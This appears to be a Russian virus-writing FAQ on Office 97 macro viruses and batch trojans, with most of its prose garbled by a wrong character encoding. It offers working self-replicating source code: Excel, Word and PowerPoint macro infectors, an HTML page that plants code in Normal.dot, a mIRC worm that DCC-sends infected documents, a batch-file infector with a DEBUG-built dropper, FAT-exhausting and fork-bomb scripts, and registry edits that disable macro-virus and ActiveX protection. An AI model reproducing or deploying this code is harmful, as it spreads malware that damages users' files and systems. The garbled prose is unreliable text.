ч VB ЕУФШ ЮХДОЩК ПРЕТБФПТ: KILL "fucking filename" Й РТЙЧЕФ: лУФБФЙ ЬФПФ ДЕУФТХЛФЙЧ ОБЙВПМЕЕ ТБУРТПУФТБОЕО, ЧЙДЙНП ЧЕУШ ЧЙОФ ЖПТНБФЙФШ УПЧЕУФШ ОЕ РПЪЧПМСЕФ :). ьФПФ РТЙЛПМ ЮБУФП ЙУРПМШЪХЕФУС ДМС ХДБМЕОЙС ЖБКМПЧ БОФЙЧЙТХУОЩИ РТПЗТБНН.

лТПНЕ ФПЗП, ЕУМЙ РЙЫЕФУС BAT ЧЙТХУ, БОБМПЗ ЬФПК ЛПНБОДЩ DEL filename.ext

пВБ ЬФЙИ ПРЕТБФПТБ РТЕЛТБУОЩ РПДДЕТЦЛПК ЖЙЮ ФЙРБ *.*, win*.?o? Й ФБЛ ДБМЕЕ:

оХ ЕУМЙ ЧБН Й ЬФПЗП НБМП, ФП Л ЧБЫЙН ХУМХЗБН РТПЗБ DELTREE (%windir%\command\deltree.exe). рТЙНЕТЩ ЙУРПМШЪПЧБОЙС:

дБООБС УФТПЮЛБ УФБЧЙФ РБТПМШ ОБ БЛФЙЧОЩК ДПЛХНЕОФ Й ИТЕО ЧЩ ЕЗП ПФЛТПЕФЕ ОЕ ЪОБС РБТПМС! (мПНБМЛЙ ОЕ Ч УЮЕФ :).

хЮЙФЩЧБС, ЮФП ПУФБМЙУШ ЙЪЧТБЭЕОГЩ, МАВСЭЙЕ РЙУБФШ BAT ЧЙТХУЩ Й ФТПСОЩ, НПЦОП РТЙЧЕУФЙ ОЕУЛПМШЛП РТЙЛПМПЧ УРЕГПН ДМС РПДПВОПЗП ТПДБ МАДЕК (жТБЪБ-ФП ЛБЛБС!)

чПФ ОБРТЙНЕТ:

@echo off

set flag=1

:loop

rem break=off

if %flag%==false goto halt >>nul

if %flag%==true goto continue >>nul

:begin

set dir=1

rem set c=1

:continue

if %dir%==11111111 goto halt >>nul

md %dir% >>nul

set c=%c%1

if exist %0.bat copy %0.bat %dir% >>nul

if not exist %0.bat copy %0 %dir% >>nul

if %c%==1111111111111111111 goto gon >>nul

cd %dir% >>nul

rem call %0

goto loop

:gon

cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.. >>nul

set dir=%dir%1

set flag=true

set c=1

rem call %0

goto loop

:halt

set flag=false

rem cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

cd 1 >>nul

set dir=1

set c=1

set flag=flag

echo pause

rem pause

%0

ьФПФ ХЦБУ ОБРЙУБМ NKM__Soft. юФП ЦЕ ЬФП ФБЛПЕ Й ЮФП ПОП НПЦЕФ? дБООБС РТПЗТБННБ ОЕ ЮФП ЙОПЕ ЛБЛ ФТПСО, УПЪДБАЭЙК ТЕЛХТУЙЧОП ЧМПЦЕООЩЕ ДЙТЕЛФПТЙЙ, Ч ТЕЪХМШФБФЕ ЧЩЪЩЧБС РЕТЕРПМОЕОЙЕ FAT Й ОЕЧПЪНПЦОПУФШ ОПТНБМШОПК ТБВПФЩ, РТБЧДБ ОБ УПЧТЕНЕООЩИ ЧЙОФБИ ПО ФЕТСЕФ УЧПА ХВПКОХА УЙМХ :(. рПДПВОПЗП ТПДБ ЙЗТХЫЛЙ УХЭЕУФЧХАФ Й РПД MD:

@echo off

start /m %0

pause

МЙВП:

@echo off

:looping

start /m %0

goto looping

A.: бОБМПЗЙЮОП Word97, ОП У ОЕЛПФПТЩНЙ ПФМЙЮЙСНЙ: ОБРТЙНЕТ, ЧНЕУФП Document_Open - Workbook_Open. лТПНЕ ФПЗП, Ч Excel ОЕФ ПВЭЕЗП ЫБВМПОБ ФЙРБ Normal.dot, Й РПЬФПНХ ЪБТБЦЕОЙЕ ПУХЭЕУФЧМСЕФУС, ЪБТБЦЕООЩК ЖБКМ ЛПРЙТХЕФУС Ч ДЙТЕЛФПТЙА Microsoft Office\Office\XLStart Й РТЙ УФБТФЕ Excel ЬФПФ ЖБКМ БЧФПНБФЙЮЕУЛЙ ЪБЗТХЪЙФУС Й НБЛТПУЩ Ч ОЕН УФБОХФ ЗМПВБМШОЩНЙ! рПМХЮЙФШ ЬФХ ДЙТЕЛФПТЙА НПЦОП ЛБЛ Application.StartupPath

рТЙЧЕДХ РТЙНЕТ РТПУФПЗП XL97 ЧЙТХУБ, Ч ЛПФПТПН ЙУРПМШЪХЕФУС VBA РТПГЕДХТБ:

'XL97.Shitty

'by CyberShadow//SMF

'--- нБМЕОШЛЙК ЛПРЙТБКФ, 1-С УФТПЮЛБ ЙУРПМШЪХЕФУС ЛБЛ НЕФЛБ ЪБТБЦЕОЙС

Private Sub Workbook_BeforeClose(Cancel As Boolean)

'--- йНС РТПЗТБННЩ VBA БЧФПНБФЙЮЕУЛЙ ЙУРПМОСЕНПК Ч НПНЕОФ ЪБЛТЩФЙС

' ЛОЙЗЙ

On Error Resume Next

fl = 0 '--- ЖМБЗ ЪБТБЦЕОЙС

With Application.FileSearch '--- ЙУЛБФШ ЖБКМП

.NewSearch '--- ОПЧЩК РПЙУЛ

.LookIn = Application.StartupPath '--- Ч ЛБФБМПЗЕ БЧФПЪБЗТХЪЛЙ

.SearchSubFolders = True '--- ОХ Й Ч РПДЛБФБМПЗБИ ФПЦЕ

.FileName = "shitty.xls" '--- ЙНС ЖБКМБ (НПЦОП РП НБУЛЕ)

.FileType = msoFileTypeAllFiles '--- МАВПЗП ФЙРБ

If .Execute() > 0 Then fl = 1 '--- ЕУМЙ ОБЫМЙ ФП...

End With '--- иБОБ РПЙУЛХ

If fl = 0 Then Workbooks.Add.SaveAs FileName:=Application.StartupPath & "\shitty.xls", FileFormat:=xlNormal, AddToMru:=False

'--- еУМЙ ОЕ ЪБТБЦЕОЩ УПЪДБФШ ОПЧХА ЛОЙЗХ Й ДБФШ ЕК ЙНС 'shitty.xls'

Set shitSource = ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule

'--- зДЕ ЛПД ЧЙТХУБ

For i = 1 To Workbooks.Count

'--- уЛБООЕН ЧУЕ ПФЛТЩФЩЕ ЛОЙЗЙ

Set shitDest = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule

'--- лХДЩ ЛПРЙТПЧБФШ ЛПД ЧЙТХУБ

If shitDest.Lines(1, 1) <> "'XL97.Shitty" Then

'--- нЩ ХЦЕ ФХФ?

shitDest.InsertLines 1, shitSource.Lines(1, shitSource.CountOfLines)

'--- оЙЖЙЗБ, ФБДЩ ЪБТБЪЙН!

End If

Next

If fl = 0 Then Workbooks("shitty.xls").Save: Workbooks("shitty.xls").Close

'--- еУМЙ ОЕ ВЩМ ЪБТБЦЕО Excel, ФП ЪБТБЦЕООХА ЛОЙЗХ ЪБРЙЫЕН

End Sub

A.: дБ, НПЦОП. вМБЗПДБТС ЛПТРПТБГЙЙ Microsoft ЧУЕ РТЙМПЦЕОЙС Office 97 НПЗХФ ПВЭБФШУС НЕЦДХ УПВПК. дЕМБЕФУС ЬФПУ РПНПЭША ЛПННБОД SetObject Й CreateObject. чПФ ЛБЛ ЬФП ТЕБМЙЪПЧБОП Ч ЧЙТХУЕ MultiSys (Office97.Triplex.c ЙМЙ Office97.Hooper.g):

xlsObj = GetObject(, "Excel.Application"): Quit = 0

If xlsObj = "" Then

Set xlApp = CreateObject("Excel.Application"): Quit = 1

End If

If UCase(Dir(xlApp.Application.StartupPath + "\cs.xls"))<> UCase("CS.XLS") Then

xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\cs.xls"

xlApp.Workbooks("cs.xls").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1,NT.CountOfLines)

xlApp.Workbooks("cs.xls").Close SaveChanges:=True

End If

If Quit = 1 Then xlApp.Application.Quit

A.: чЕЪДЕ, ЗДЕ НПЦОП ЙУРПМШЪПЧБФШ VisualBasic. чПФ ЛБЛ УДЕМБФШ ЪБТБЦЕОЙЕ Word97 ЙЪ HTM ЖБКМБ:

<html> <CyberShadow>

<BODY>

<script language="VBScript"><!--

Private Sub Window_Onload

On Error Resume Next

If location.protocol = "file:" then

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")

HostPath = Replace(location.href, "file:///", "")

HostPath = Replace(HostPath, "/", "\")

Set WordObj = GetObject("","Word.Application"): Quit = 0

If WordObj = "" Then

Set WordObj = CreateObject("Word.Application"): Quit = 1

End If

Set NT = WordObj.Templates(1).VBProject.VBComponents(1).Codemodule

If NT.Lines(1,1) <> "'<html> <CyberShadow>" then

WordObj.Options.SaveNormalPrompt = False

NT.DeleteLines 1, NT.CountOfLines

NT.Addfromfile HostPath

NT.DeleteLines NT.CountOfLines-3,3

For j = 1 to 3

NT.ReplaceLine j, "'" + NT.Lines(j,1)

Next

End If

Set NT = Nothing

if Quit=1 then WordObj.Quit

End if

End Sub

Private Sub Document_Close()

MsgBox "You are infected!"

End Sub

--></script>

</BODY>

</HTML>

A.: rv = Shell("c:\dropper.com", 6), ЬФБ УФТПЮЛБ ЪБРХУЛБЕФ ЖБКМ dropper.com У ДЙУЛБ C ЛБЛ ПФДЕМШОХА ЪБДБЮХ УЧЕТОХФХА Ч ЪОБЮПЛ.

A.: тБЪХНЕЕФУС. уМЕДХАЭЙК РТЙНЕТ ТБУРЕЮБФЩЧБЕФ PATH:

Private Sub GetPath()

a = Environ("PATH")

i = 1

Do While i <= Len(a)

c = ""

Do While i <= Len(a) And Mid$(a, i, 1) <> ";"

c = c + Mid$(a, i, 1)

i = i + 1

Loop

MsgBox c

i = i + 1

Loop

End Sub

A.: чПФ РТЙНЕТ РТПУФЕКЫЕЗП IRC-ЮЕТЧС:

Private Sub Document_Close()

'mirc joke by CyberShadow//SMF

'Smiles to harmless :)

MyDir = CurDir

For i = 0 To 5

a = Chr$(Asc("C") + i)

Call infect(a)

Next

End Sub

Private Sub infect(a)

On Error GoTo outta

a = a + ":\mirc\"

Open a + "script.ini" For Output As #1

Print #1, "[script]"

Print #1, "n0=on 1:JOIN:#:/dcc send $nick " + a + "NewFiles.doc"

Close #1

ActiveDocument.Save

ActiveDocument.SaveAs a + "NewFiles.doc"

ActiveDocument.Close

outta:

End Sub

нБМЕОШЛПЕ ДПВБЧМЕОЙЕ, ЬФПФ ЮЕТЧСЛ ОЕ УПЧУЕН ЛПТТЕЛФЕО, ДПУФБФПЮОП УНЕОЙФШ ОБЪЧБОЙЕ ДЙТЕЛФПТЙЙ ОБ mIRC32 Й РТЙЧЕФ... чПФ ВПМЕЕ ЛПТТЕЛФОЩК УРПУПВ ПФЩУЛБФШ mIRC ЮЕТЕЪ зМБЧОПЕ нЕОА:

Private Sub Document_Close()

'Program by CyberShadow//SMF

'more than correct way to find mIRC :)

a = System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Programs") + "\"

With Application.FileSearch

.FileName = "mirc*.exe"

.MatchAllWordForms = True

.LookIn = a

.SearchSubFolders = True

.Execute

For i = 1 To .FoundFiles.Count

c = .FoundFiles(i)

j = Len(c)

Do While j > 1

If Mid$(c, j, 1) = "\" Then c = Mid$(c, 1, j): j = 0

j = j - 1

Loop

Call infectMIRC(c)

Next i

End With

End Sub

ьФПФ УРПУПВ ОБИПДЙФ mIRC ДБЦЕ ЕУМЙ ЕЗП ЪБРЙИБМЙ Ч Program Files :) еУМЙ ЛПОЕЮОП mIRC ЕУФШ Ч зМБЧОПН нЕОА :)

A.: дБ, РТБЧДБ. чПФ ОЕУЛПМШЛП ЛМАЮЕК Ч ТЕЕУФТЕ: ЧЩТХВЙФШ РТЕДХРТЕЦДЕОЙС П ЪБРХУЛЕ ПРБУОПЗП ActiveX РТЙМПЦЕОЙС, ПЮЕОШ ХДПВОП ДМС cross ЧЙТХУПЧ ФЙРБ DOC-HTML-VBS

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""

ЧЩТХВЙФШ MacroVirusProtection ДМС Excel

"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6" = ""

"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6" = ""

ЧЩТХВЙФШ MacroVirusProtection ДМС Word

"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"

"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"

ъБДБФШ УФТБОЙГХ, ЪБРХУЛБАЭХАУС РТЙ УФБТФЕ InternetExplorer

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]

"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"

A.: ч ТБЪОПСЪЩЮОЩИ ЧЕТУЙСИ ЬФПФ БДТЕУ ТБЪОЩК (нПЙ ДПЛХНЕОФЩ ЛБЛ My Documents)

Private Sub GetMyDocumentsFolderPath()

a=System.PrivateProfileString("","HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders","Personal")

msgbox a

End Sub

б.: рТПЧПДОЙЛ Ч Windows 98 РТЙ ЧИПДЕ Ч ОЕЛПФПТЩЕ РБРЛЙ УЛБОЙТХЕФ ЙИ УПДЕТЦЙНПЕ ОБ РТЕДНЕФ ОБИПЦДЕОЙС ЖБКМБ folder.htt Й, ЕУМЙ ЖБКМ ОБКДЕО, РТЙОЙНБЕФ ЕЗП УПДЕТЦЙНПЕ ЛБЛ УЧПЕПВТБЪОХА РТПЗТБННХ ДМС РТПУНПФТБ ДБООПК РБРЛЙ, РТЙЮЕН VB Scripts ЙУРПМОСАФУС ФПЦЕ! (дХНБА ОЕ УФПЙФ РТПДПМЦБФШ :). рБРЛЙ Ч ЛПФПТЩИ ЬФБ ИТЕОШ УПЪДБЕФУС БЧФПНБФЙЮЕУЛЙ:

C:\WINDOWS (ЙМЙ РПДПВОБС :)

C:\WINDOWS\SYSTEM

C:\WINDOWS\SYSTEM32

C:\WINDOWS\WEB

C:\Program Files

нБМЕОШЛЙЕ ДПРПМОЕОЙС:

жБКМП ЙЭЕФУС ФПМШЛП Ч ПРТЕДЕМЕООЩИ РБРЛБИ;

фПЮОПЕ ЙНС РТПРЙУЩЧБЕФУС Ч desktop.ini;

лП ЧУЕНХ ЬФПНХ Ч ТЕЕУФТЕ УПДЕТЦЙФУС ЙОЖПТНБГЙС РТП ЛПОЛТЕФОХА РБРЛХ, ЙУЛБФШ ЬФПФ ЖБКМ ЙМЙ ОЕФ, ЪБРХУЛБФШ ЙМЙ ОЕФ Й Ф.Д.

б.: нПЦЕФ. еУФШ ТБЪМЙЮОЩЕ УРПУПВЩ ЪБУФБЧЙФШ VBA ЧЙТХУ "ФБУЛБФШ" У УПВПК МАВХА РТПЗТБННХ ОБРЙУБООХА ОБ МАВПН СЪЩЛЕ.

рЕТЧЩК ЙЪ ОЙИ ЮБЭЕ ЧУЕЗП ЙУРПМШЪХЕФУС Ч VBA ЧЙТХУБИ, ОЕЧЪЙТБС ОБ ЛХЮХ ОЕХДПВУФЧ, ОП, ЧЙДЙНП, РЕТЕЦЙФЛЙ BAT ЧЙТХУПЧ ДПУФБФПЮОП УЙМШОЩ :). уРПУПВ УМЕДХАЭЙК:

ЧП-РЕТЧЩИ, ОЕПВИПДЙНП ОБМЙЮЙЕ Ч РЕТЕНЕООПК PATH ЖБКМБ DEBUG (ЧИПДЙФ Ч УФБОДБТФОХА РПУФБЧЛХ WINDOWS);

ЧП ЧФПТЩИ, ЙУРПМШЪХЕФУС РТПНЕЦХФПЮОЩК BAT ЖБКМ (ПВЩЮОП AUTOEXEC.BAT).

<html> <CyberShadow...>

<BODY onload="TryToLoad();">

<script language="VBScript"><!--

Sub TryToLoad

If location.protocol = "file:" then Call CreateDropper

End Sub

Sub CreateDropper

Dim FSO, folder ,fc, f1, cpath

Set FSO = CreateObject("Scripting.FileSystemObject")

Set folder = fso.GetFolder("c:\")

Set fc = folder.Files

For each f1 in fc

s = Lcase(Fso.GetExtensionName(f1.name))

if s = "bat" then

Set fh = fso.opentextfile(f1.path, 1, true)

TestString = fh.readline

fh.close

if TestString <> "@rem CyberShadow..." then

Set fh = fso.opentextfile(f1.path, 1, true)

TempFile = fso.GetTempName

fso.CopyFile f1.path, TempFile

fh.close

Set fh = fso.opentextfile(TempFile, 1, true)

Set fv = fso.opentextfile(f1.path, 2, true)

fv.writeline "@rem CyberShadow..."

fv.writeline "@echo off"

fv.writeline "echo n argon.com >cybers.dmp"

fv.writeline "echo e 0100 B0 13 CD 10 B9 3F 78 33 F6 B8 D9 FF F7 E9 03 F2 >>cybers.dmp"

fv.writeline "echo e 0110 03 CE 88 AF E8 FD D0 BF E8 FD 4B 81 FB FF 3F 75 >>cybers.dmp"

fv.writeline "echo e 0120 E8 43 68 00 A0 07 06 1F 33 FF 33 C9 88 2D 88 AD >>cybers.dmp"

fv.writeline "echo e 0130 7C 01 BE 7D 01 2B F7 88 2C 88 AC 7C 01 83 C7 03 >>cybers.dmp"

fv.writeline "echo e 0140 FE C5 80 FD 40 75 E5 33 F6 BA C8 03 B0 01 EE 42 >>cybers.dmp"

fv.writeline "echo e 0150 B9 00 03 F3 6E 0E 1F 42 B1 C8 33 FF 8A D9 02 DA >>cybers.dmp"

fv.writeline "echo e 0160 8A B7 E8 FD 32 ED 8A DE 8A 87 E8 FD 2A C1 8A E0 >>cybers.dmp"

fv.writeline "echo e 0170 02 E6 2B C1 F6 C1 01 74 02 86 E0 AB FE C3 FE C5 >>cybers.dmp"

fv.writeline "echo e 0180 80 FD A0 72 E3 FE C9 75 D3 E4 60 FE C8 75 C8 C3 >>cybers.dmp"

fv.writeline "echo rcx >>cybers.dmp"

fv.writeline "echo 90 >>cybers.dmp"

fv.writeline "echo w >>cybers.dmp"

fv.writeline "echo q >>cybers.dmp"

fv.writeline "debug <cybers.dmp >nul"

fv.writeline "argon.com"

fv.writeline "del cybers.dmp >nul"

fv.writeline "del argon.com >nul"

Do While fh.AtEndOfStream <> True

fv.WriteLine fh.ReadLine

Loop

fv.close

fh.close

fso.DeleteFile TempFile

end if

end if

Next

End Sub

--></script>

</BODY>

</HTML>

ьФПФ РТЙНЕТ ОБИПДЙФ ЧУЕ .BAT ЖБКМЩ Ч ЛПТОЕЧПН ЛБФБМПЗЕ ДЙУЛБ C: Й "ЪБТБЦБЕФ" ЙИ .COM ЖБКМПН. рТЙ ЪБРХУЛЕ "ЪБТБЦЕООПЗП" .BAT ЖБКМБ ВХДЕФ ЧЩЧЕДЕО ОБ ЬЛТБО ОЕВПМШЫПК ЧЙДЕПЬЖЖЕЛФ. лБЛ ЧЙДОП ЙЪ ЙУИПДОЙЛБ, ПЮЕОШ ОЕХДПВОЩК, ИПФС Й РТЙНЙФЙЧОЩК БМЗПТЙФН. лТПНЕ ФПЗП, ОЕ ПЮЕОШ ДЕКУФЧЕООЩК (ЧДТХЗ ОБ НБЫЙОЕ ОЕ ПЛБЦЕФУС DEBUG?).

чФПТПК УРПУПВ ФТЕВХЕФ ВПМШЫЕК НПЪЗПЧПК БЛФЙЧОПУФЙ, ОП Й ЧПЪНПЦОПУФЙ Х ОЕЗП ВПМШЫЕ. дТПРРЕТ ИТБОЙФУС Ч ФЕЛУФПЧПН ЧЙДЕ, ЮФП-ФП ФЙРБ UUE ЛПДЙТПЧБОЙС Й ТБУЫЙЖТПЧЩЧБЕФУС УТБЪХ Ч ЖБКМ-ЦЕТФЧХ. рТЕЙНХЭЕУФЧБ ОБМЙГП, ОЕ ФТЕВХЕФУС ДПРПМОЙФЕМШОЩИ ЖБКМПЧ, БМЗПТЙФН ОЕНОПЗЙН УМПЦОЕЕ, ПФЛТЩЧБАФУС ВПМШЫЙЕ ЧПЪНПЦОПУФЙ ДМС ЫЙЖТПЧБОЙС/РПМЙНПТЖЙЪНБ/БТИЙЧЙТПЧБОЙС. чПФ НПК ЧБТЙБОФ РТПГЕДХТЩ ТБУРБЛПЧЛЙ, ЙУРПМШЪХЕФУС Ч ЧЙТХУЕ THETHING:

Private Sub WriteDump(dropperPath)

On Error Resume Next

'рТЙ ПЫЙВЛЕ - ЙДЙ ДБМШЫЕ

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

'хЛБЪБФЕМШ ОБ ФЕЛУФ ЧЙТХУБ

checkit = "Dumpin"

'юБУФШ УФТПЛЙ РПЙУЛБ (ЧУА ХЛБЪЩЧБФШ ОЕ УФБМ, ЮФПВЩ ОЕ ЧПЪОЙЛБМЙ РТПВМЕНЩ У МЦЕ-find'ПН

i = 1: GetDump = 0

'рПЫМЙ УЮЕФЮЙЛЙ

Do While i < AD.countoflines

'рПЛБ ЕУФШ УФТПЛЙ

a = AD.lines(i, 1)

'чЪСФШ ФЕЛХЭХА УФТПЛХ

If Len(a) > Len(checkit) Then

For j = 1 To Len(a) - Len(checkit)

If Mid$(a, j, Len(checkit) + 1) = checkit + "g" Then GetDump = i + 1: i = AD.countoflines

'рПЕИБМЙ РТПЧЕТСФШ (ДПВБЧМСЕН "g" ДБВЩ ЙУЛБФШ РПМОХА УФТПЛХ)

Next

End If

i = i + 1

Loop

dropperBody = ""

Do While Mid$(AD.lines(GetDump, 1), 1, 1) = "'"

'рПЛБ ОЕ РХУФБС УФТПЛБ (НЕФЛБ ЛПОГБ ДТПРРЕТБ)

If Len(AD.lines(GetDump, 1)) > 2 Then

For i = 2 To Len(AD.lines(GetDump, 1)) Step 2

If Mid$(AD.lines(GetDump, 1), i, 1) <> " " Then

a1 = Asc(Mid$(AD.lines(GetDump, 1), i, 1)) - 33

b1 = Asc(Mid$(AD.lines(GetDump, 1), i + 1, 1)) - 33

'йУРПМШЪХЕФУС РТЙНЙФЙЧОЩК БМЗПТЙФН UUE ЛПДЙТПЧБОЙС

dropperBody = dropperBody + Chr$(a1 + 16 * b1)

End If

Next

End If

GetDump = GetDump + 1

Loop

Open dropperPath + "thething.com" For Output As #1

Print #1, dropperBody;

'оХ Й ЪБРЙУБМЙ ЛХДБ ОБДП :)

Close #1

End Sub

Private Sub Dumping()

'фХФПЮЛЙ ИТБОСФУС ЪБЫЙЖТПЧБООЩЕ УФТПЛЙ (эБУ ОЕФХ ОЙЖЙЗБ :)

End Sub

чЕТОБС УЧПЙН РТЙОГЙРБН - ВПМШЫЕ ЧЙТХУПЧ ТБЪОЩИ :) Microsoft Й PowerPoint ОЕ ПВДЕМЙМБ ЧПЪНПЦОПУФША ВЩФШ ЪБТБЦЕООЩН! ъДЕУШ РТБЧДБ ЕУФШ ПДОП ОП: ЕУМЙ Х Word'a ЕУФШ Normal.dot Х Excel XLStart, ФП Х PowerPoint'a ПФУХФУФЧХЕФ БЧФПНБФЙЮЕУЛЙ ЙУРПМОСЕНБС РТЙ УФБТФЕ РТЕЪЕОФБГЙС :( рПУЕНХ ЪБТБЦЕОЙЕ ЧПЪНПЦОП МЙВП "ОЕТЕЪЙДЕОФОЩН" УРПУПВПН, МЙВП ЪБТБЪЙФШ ЧУЕ РТЕЪЕОФБГЙЙ ПДОПЧТЕНЕООП ЪБЗТХЦЕООЩЕ ЧНЕУФЕ У ЪБТБЦЕООПК. лТПНЕ ФПЗП, БЧФПНБФЙЮЕУЛЙК ЪБРХУЛ ЧЙТХУБ Ч РТЕЪЕОФБГЙЙ ФПЦЕ ФБ ЕЭЕ РТПВМЕНБ :( чПФ ЛБЛ ЧУЕ ЬФЙ ЖЙЮЙ ПВИПДЙФ 1nternal Ч УЧПЕН (РЕТЧПН Ч НЙТЕ!) PPT.Attach:

'!--1nternal--

'PPT.Attach v0.1 /1nternal

Private Sub UserForm_Terminate()

'рТЙ ЪБЛТЩФЙЙ аЪЕТжПТНЩ

On Error Resume Next

Set Home = ActivePresentation

'пФЛЕМШ ВТБФШ ЙУИПДОЙЛ ЧЙТХУБ

Set fs = Application.FileSearch

'рПЕИБМ ОПЧЩИ РПЙУЛ

fs.NewSearch

fs.LookIn = "C:\My Documents"

'бК-СК-СК ЛБЛ ОЕЛПТТЕЛФОП :) оБ ТХУУЛПК ЧЕТУЙЙ ПВМПН...

fs.SearchSubFolders = True

'оП ЧУЕ Ц ЗМСОЕН Ч РПДЛБФБМПЗБИ

fs.FileName = "*.ppt"

'йЭЕН ЦЕТФЧХ :)

fs.Execute

For i = 1 To fs.FoundFiles.Count

'чП ЧУЕИ ОБКДЕООЩИ ЖБКМБИ

If InStr(1, fs.FoundFiles(i), "~", 1) = 0 And fs.FoundFiles(i) <> Home.FullName Then

'лТПНЕ ЙУФПЮОЙЛБ

Set PVict = Presentations.Open(fs.FoundFiles(i))

'чУЛТЩМЙ ЦЕТФЧХ

For j = 1 To PVict.VBProject.VBcomponents.Count

'рПЫБТЙМЙУШ ЧП ЧУЕИ НПДХМСИ

If PVict.VBProject.VBcomponents(j).Type = 3 Then

'иТЕО ЕЗП ЪОБЕФ, ЮФП ЪБ ФЙР...

If PVict.VBProject.VBcomponents(j).Codemodule.Lines(1, 1) <> "'!--1nternal--" Then

'ьФП ОБЫ ТПДУФЧЕООЙЛ?

PVict.VBProject.VBcomponents(j).Codemodule.InsertLines 1, Home.VBProject.VBcomponents(Name).Codemodule.Lines(1, 27)

'оЙЖЙЗБ, ФБЛ УДЕМБЕН ТПДУФЧЕООЙЛБ!

PVict.Save

'ъБРЙЫЕН ЧУЕ ОБ НЕУФП

End If

End If

Next

PVict.Close

'оХ Й ЪБЛТПЕН ОБИТЕО

End If

Next

Set PVict = Nothing

End Sub

фП ЕУФШ Ч ФЕПТЙЙ ЧУЕ ЛБЛ Х Word Й Excel У РПРТБЧЛБНЙ ОБ PowerPoint:

йУФПЮОЙЛ ЧЙТХУБ - ActivePresentation

пФЛТЩФШ РТЕЪЕОФБГЙА - Presentations.Open ("йНС РТЕЪЕОФБГЙЙ") Й ФБЛ ДБМЕЕ...

оП, РТЕЪЕОФБГЙЙ ТЕДЛП ЛПРЙТХАФУС У НБЫЙОЩ ОБ НБЫЙОХ, ЧП-ЧУСЛПН УМХЮБЕ ОБНОПЗП ТЕЦЕ ДПЛХНЕОФПЧ Word Й Excel. рП-НПЕНХ, ЕДЙОУФЧЕООБС ГЕМШ ЪБТБЦЕОЙС PPT-ЫЕЛ, ЬФП ЙУРПМШЪПЧБФШ ЙИ ЛБЛ ЛПОФЕКОЕТ ДМС ИТБОЕОЙС ЛТПУУРМБФЖПТНЕООЩИ ЧЙТХУПЧ, Ф.Е. ЪБТБЦБС ЮЕТЕЪ ЛПНБОДЩ SetObject Й GetObject...

лХДБ ХЗПДОП! :)